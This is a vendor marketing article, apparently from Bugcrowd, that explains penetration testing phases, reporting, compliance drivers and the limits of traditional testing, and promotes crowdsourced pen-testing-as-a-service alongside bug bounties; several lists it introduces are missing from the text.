Everything you need to know about pen testing
For over a decade, penetration testing (aka pen testing) has been a critical tool in the security leader’s toolbox. However, not all pen tests were made the same, and not all en testes are equally qualified, so the implementation details matter. For too long, the industry has relied on a cumbersome, consulting-heavy approach that does little to mitigate risks. For this reason, traditional approaches to pen testing have become part of the problem rather than the solution.
In this article, you will learn:
A penetration test, in one form or the other, has been with us for a long time, but adoption has been accelerating as of late, with Gartner estimating a total market size of $4.5B by 2025 (and that’s just for commercial tools; use of open source tools is also becoming increasingly significant).
According to the National Institute of Standards and Technology (NIST), pen testing is defined as “security testing in which assessors mimic real-world attacks to identify methods for circumventing the security features of an application, system, or network (known as network penetration testing).”
In other words, pen testing is a simulated cyberattack carried out by an authorized third party (known as pen testers) who tests and evaluates the security vulnerabilities of a target organization’s computer systems, networks, and application infrastructure.
Human pen testers attempt to find vulnerabilities and exploit them using various penetration testing tools and manual procedures. Penetration testers execute a variety of network, system and application security testing designed to exploit known vulnerabilities and leverage misconfigurations in software and security controls. Their goal is to identify real-world security weaknesses in an organization’s security posture that an attacker can exploit. Pen testers often mimic the behaviors of real threat actors by using techniques such as social engineering. Once these security weaknesses are identified, they can be prioritized for remediation. Pen testing is an iterative process, and over time, it helps reduce the risk of a successful cyberattack.
Pen testing is often broken down into several phases. The first phase is the pre-engagement activity. During this phase, the pen testing team reviews the goals and objectives that the target enterprise aims to achieve. Pen testers begin this process by looking for the best pen testing strategy for your organization.
The next phase is reconnaissance and planning. In this phase, pen testers gather as much information as possible about the targeted enterprise to learn more about potential vulnerabilities and security gaps. This helps them plan their simulated attacks and define the mix of tools, both software and hardware, as well as the social engineering techniques they will use.
All of this information comes together in the vulnerability mapping phase, when the pen testers select the attack vectors and the techniques they will use. Mapping depends on a good vulnerability assessment of the vulnerabilities that may be targeted.
The fourth phase, exploitation, leverages the plans to find and use the exploits. In this phase, ethical hacking aims to penetrate the environment while avoiding detection.
When penetration tests are complete, the tester removes artifacts, including their testing tools, intermediate datasets, and special hardware modules. They will also remove anything else they have modified or used during the pen test. Everything in the environment will be returned to the original state before the test begins.
From there, the pen tester will provide a written report that details their findings. This report is often accompanied by a scheduled briefing to review the findings. The in-house teams, both purple and blue, as well as others, will then identify near-term areas that require improvement, assign priorities, and then build and initiate a plan for implementation. The same is done for longer-term areas requiring improvement. Correlating the results of pen testing with an organization’s assessment of risk is essential, as pen testing results can provide important inputs and help to drive tool rationalization decisions.
Finally, the enterprise should schedule the pen test again to validate that the vulnerabilities identified were corrected and that the improved defenses now mitigate the pen tester techniques previously tested.
Let’s dive deeper into the written report submitted by the pen testing team. Pen test reports should include an explanation of the test methodologies used and how they were applied, technical findings, procedural findings, reproducibility, description of risks discovered, recommendations, and conclusions. Reports can also be done with respect to compliance requirements to meet the needs of ISO 27001, SOC2 Type 2, PCI, HITRUST, FISMA, and other compliance regulations. These pen testing reports can often support risk assessments, such as those required to ensure HIPAA compliance.
You may be wondering more about the types of tools pen testers use during a pen testing engagement. Pen testing tools encompass a wide range of special tools developed by hackers and other software tools commonly found within the targeted enterprise. Many of the tools that ethical hackers use are available on an open source basis. Examples of a pen testing tool include Kali Linux, Metasploit, Wireshark, and MimiKatz.
The practice of using a penetration testing tool commonly found in the enterprise by both pen testers and threat actors is referred to as “living off the land.” This enables threat actors unauthorized access, becoming part of the target enterprise’s network and to hide among normal day-to-day activities. Even when malicious activity is detected, attribution becomes difficult or impossible, since everyone uses similar tools.
Up until recently, compliance (e.g., for PCI-DSS) was the dominant driver of pen testing. Today, according to industry research, 69% of adopters do pen tests to assess security posture, and 67% do them for compliance purposes. This indicates a much more even split and signals that many organizations do pen tests for both reasons.
In a recent survey of security professionals around the globe, we found that 91% said that they’d like to raise their expectations of what a pen test could achieve. This demonstrates a desire for elevated pen tests that don’t just check the compliance box.
Compliance can be an opportunity for organizations with less mature cybersecurity practices to secure investments for pen testing. However, annual or biannual compliance-driven testing alone is just table stakes for most companies; there are many other important reasons to invest in pen testing.
For example, the continuous development cycles typical of cloud-based environments have highlighted the need for more frequent, if not continuous, testing. And the turmoil created by mergers and acquisitions, particularly in regulated industries, is a common reason for more rigorous testing than what checking a compliance checkbox will provide.
With the increasing complexity of the attack surface, which has expanded well beyond web apps, networks, and databases to include APIs, cloud infrastructure, and even physical devices, the reasons for conducting deep pen testing are certain to multiply.
Stakeholders, such as customers, suppliers, investors, and regulators, play a considerable role in an organization’s decision-making. The most obvious place where this occurs is in supply chain risk, where key stakeholders need to be reassured that a supply chain is sustainable, secure, and free of criminality. During the pandemic, supply chains were put under considerable pressure, and pen testing played a pivotal role in helping organizations adapt to these challenges and protect customer and partner data.
Stakeholders have also adapted to the changing needs for pen tests, such as in the UK, where the National Cybersecurity Centre added a home and remote-working exercise to its existing package of pen testing exercises.
Cyber incidents cause fundamental harm to an organization’s reputation, particularly when they put customers’ sensitive data at risk and result in prolonged legal proceedings. Breaches and attacks are becoming more prevalent in business reporting, and consumers are now more wary about their data and privacy. Pen tests represent a crucial part of the cybersecurity stack and help prevent these attacks and the resultant harm to reputation.
According to IBM, the average cost of a breach for U.S. companies is $4.24 million. A huge portion of this cost comes from the impact breaches have on reputation.
Pros and Cons
Although the tools and tactics used by a penetration tester don’t vary much, the testing frameworks within which pen testers operate have significant differences. The framework you choose will have a major impact on the testing experience for everyone involved (e.g., testers and testing consumers alike).
In the next section, we’ll go into more detail about how the most common approach to pen testing has led to low expectations for pen testing, but at a high level, the pros and cons include the following:
The crowdsourced model is a penetration testing service that implies the involvement of a bench of trusted pay-per-project testers who are crowdsourced from the massive hacker community. Crowdsourced testing is quickly becoming the top choice for organizations seeking more impact from pen testing.
While often infeasible for smaller organizations, some enterprises prefer to build and maintain in-house teams (“red teams”) of security testing. This approach allows the organization to set its own schedule and may reduce barriers in some areas (e.g., the provision of credentials).
Some organizations use a combination of traditional, crowdsourced, and internal testing to meet the specific needs of each project.
Over the past five years, there has been a growing consensus that the most traditional approaches to testing have become dated, if not obsolete. These traditional pen tests adopt a “one-size-fits-all” approach; simulated attacks are carried out by one to two testers who offer box-ticking results according to narrowly defined compliance-based methodologies.
These tests can be useful for confirming hypotheses or concerns within the organization, but they do not meaningfully reduce risks or address unknowns.
Since then, gaps and failings in the strict and narrow approach to pen testing have resulted in even lower expectations for pen testing from its adopters. Below are the most pressing concerns.
Tests can take months to schedule due to resource constraints on the part of testing providers and their desire to reduce time on the “bench” for salaried employees.
This might seem fine to companies that consider these tests to be the equivalent of a routine dental check-up but not for the many organizations that worry that they may need an emergency root canal.
Many of these tests also come with strictly limited time windows for delivering a testing schedule. These can cause the exclusion of some crucial testing methods—for example, it is impossible to carry out a 10-day scan as part of an assignment where five days have been allocated for testing. Putting artificial time constraints on pen testing reduces the extent to which it can reduce risk.
Another way timing is a problem is the delay in receiving results. With a standard pen test, the customer doesn’t receive results until the engagement is concluded, often 14–24 days after testing begins. This leaves assets vulnerable for an unnecessarily long time, which can be a real issue when the pen test is being carried out to address a newly identified risk as quickly as possible.
Most digital assets are only pen tested a maximum of one to two times per year. With modern agile development lifecycles, new codebase versions are released much more frequently. While an asset may be secure immediately following a test, new code releases could leave it vulnerable to attacks until the next scheduled test.
A traditional pen test is carried out by one to two testers over a period of two weeks. Regardless of how experienced the testers are, they can’t be versed in every possible attack technique, and their skillsets may not be appropriate for the asset being tested. Furthermore, in these situations, customers don’t have the option of selecting which testers are assigned to their projects. Paying for these tests “off the shelf” adds a randomized element around what testers the organization has access to, which can have a profound effect on the results.
There is also an issue of skills being applied too narrowly, with most pen tests being based on checklists. These provide minimal time or few incentives for testers to use their initiative or “dig deeper” to find complex vulnerabilities through vulnerability scanning. This issue is exacerbated by a “pay-for-time” business model, where buyers pay for a certain number of tester hours and the testers are only required to finish the methodology within that time. The number and severity of vulnerabilities that surface during this time are irrelevant to the tester’s final pay.
All the above-mentioned limitations contribute to the central problem of relying solely on traditional pen tests. The narrow nature of the timing, skillsets, compliance focus, and selection of participants reduces the effectiveness of a traditional pen test engagement in relation to alternatives.
Given this, the traditional pen testing model is simply not suited to the needs and goals of most adopters today.
With the new dominance of the cloud in IT, recently, we’ve seen the emergence of Penetration Testing as a Service (PTaaS) options that have modernized pen testing by incorporating the agility, scale, and user experience of SaaS. This is a welcome development for buyers accustomed to the cumbersome, consulting-heavy approaches of traditional vendors.
TechTarget defines PTaaS as a cloud service that provides IT professionals with the resources they need to conduct and act upon point-in-time and continuous pen tests. The goal of PTaaS is to help organizations build successful vulnerability management programs that can find, prioritize, and remediate security threats quickly and efficiently.
That being said, because most PTaaS options rely heavily on automated penetration testing to achieve scale, such tools lack the depth and intensity that only human-driven testers can provide. As a result, adopters should be careful to validate that their PTaaS vendor offers more than a vulnerability scan with a pretty dashboard on top.
PTaaS delivers high-velocity, high-impact results to ensure both compliance and risk reduction at the speed of digital business. Some of the benefits are as follows:
Many old-fashioned or traditional pen testing firms use language that indicates they provide PTaaS solutions. However, this is often not true. When evaluating vendors, organizations should watch out for the following:
The existence of one or more of these indicators may mean that the firm you’re speaking to doesn’t actually provide PTaaS.
The most effective and convenient way to do pen testing is to bring the value of crowdsourcing to PTaaS.
While many organizations share a need for compliance, not all have the same testing requirements or capacity. Some seek continuous coverage to match increasingly rapid development cycles. Others need shorter testing windows throughout the year, as dictated by engineering workflows or budgetary and procurement cycles. Furthermore, an organization’s ability to provide tester incentives may be shaped by its bandwidth for addressing vulnerabilities and its ability to maintain an elastic pool of monetary rewards.
To address these varied needs, Bugcrowd provides crowd-powered PTaaS through our Security Knowledge PlatformTM—matching skillsets from the global hacker community (called the Crowd) to ensure high-velocity, high-impact results, while providing methodology-based coverage and compliance reporting.
Only Bugcrowd PTaaS Offers…
Bug bounty programs engage with specialized hackers to help organizations find vulnerabilities at scale. They use a pay-for-results model, which incentivizes impactful results. For example, P1 and P2 vulnerabilities, which are more critical, get paid out more reward money than P4 or P5 vulnerabilities.
Both bug bounty programs and pen testing take a focused, strategic approach to the discovery and assessment of vulnerabilities and greater security risks. Both solutions also rely on attacker tools, techniques, and mindsets for vulnerability discovery under a predefined scope. Although both solutions have similar goals, they differ with respect to the intensity of the assessments. For this reason, many organizations find that a layered strategy of using both provides the best results.
By using both pen testing and bug bounty programs for compliance and risk reduction, organizations can build a strategy that combines the following:
When the exploitability of vulnerabilities is confirmed, this is what some might consider a “basic” pen test.
This is what some might consider a “standard” pen test.
This picks up emerging vulnerabilities that are not yet detectable using the prior two methodologies.
Some security leaders get nostalgic about the traditional approach to pen testing—it’s comfortable and familiar. But the adoption of Bugcrowd’s crowdsourced PTaaS shows that the trend is leaning toward the adoption of more modern security measures including distributed testing that creates access to diverse skillsets and away from cumbersome, consulting-heavy approaches that depend on scanning or plain vanilla human testing.
Even for organizations that prioritize compliance over risk reduction in pen testing, crowdsourcing can be just as good, or better, at meeting compliance requirements than a small team.
Ultimately, pen testing is another piece of the security puzzle. Organizations should incorporate it into their arsenal of security tools and processes to find and remediate vulnerabilities in the software development lifecycle (SDLC).
Crowdsourced pen testers are a crucial piece of this dynamic security puzzle. As they continue to build out this industry, expect it to continue to grow in importance and adoption.
Hackers aren’t waiting, so why should you? See how Bugcrowd can quickly improve your security posture.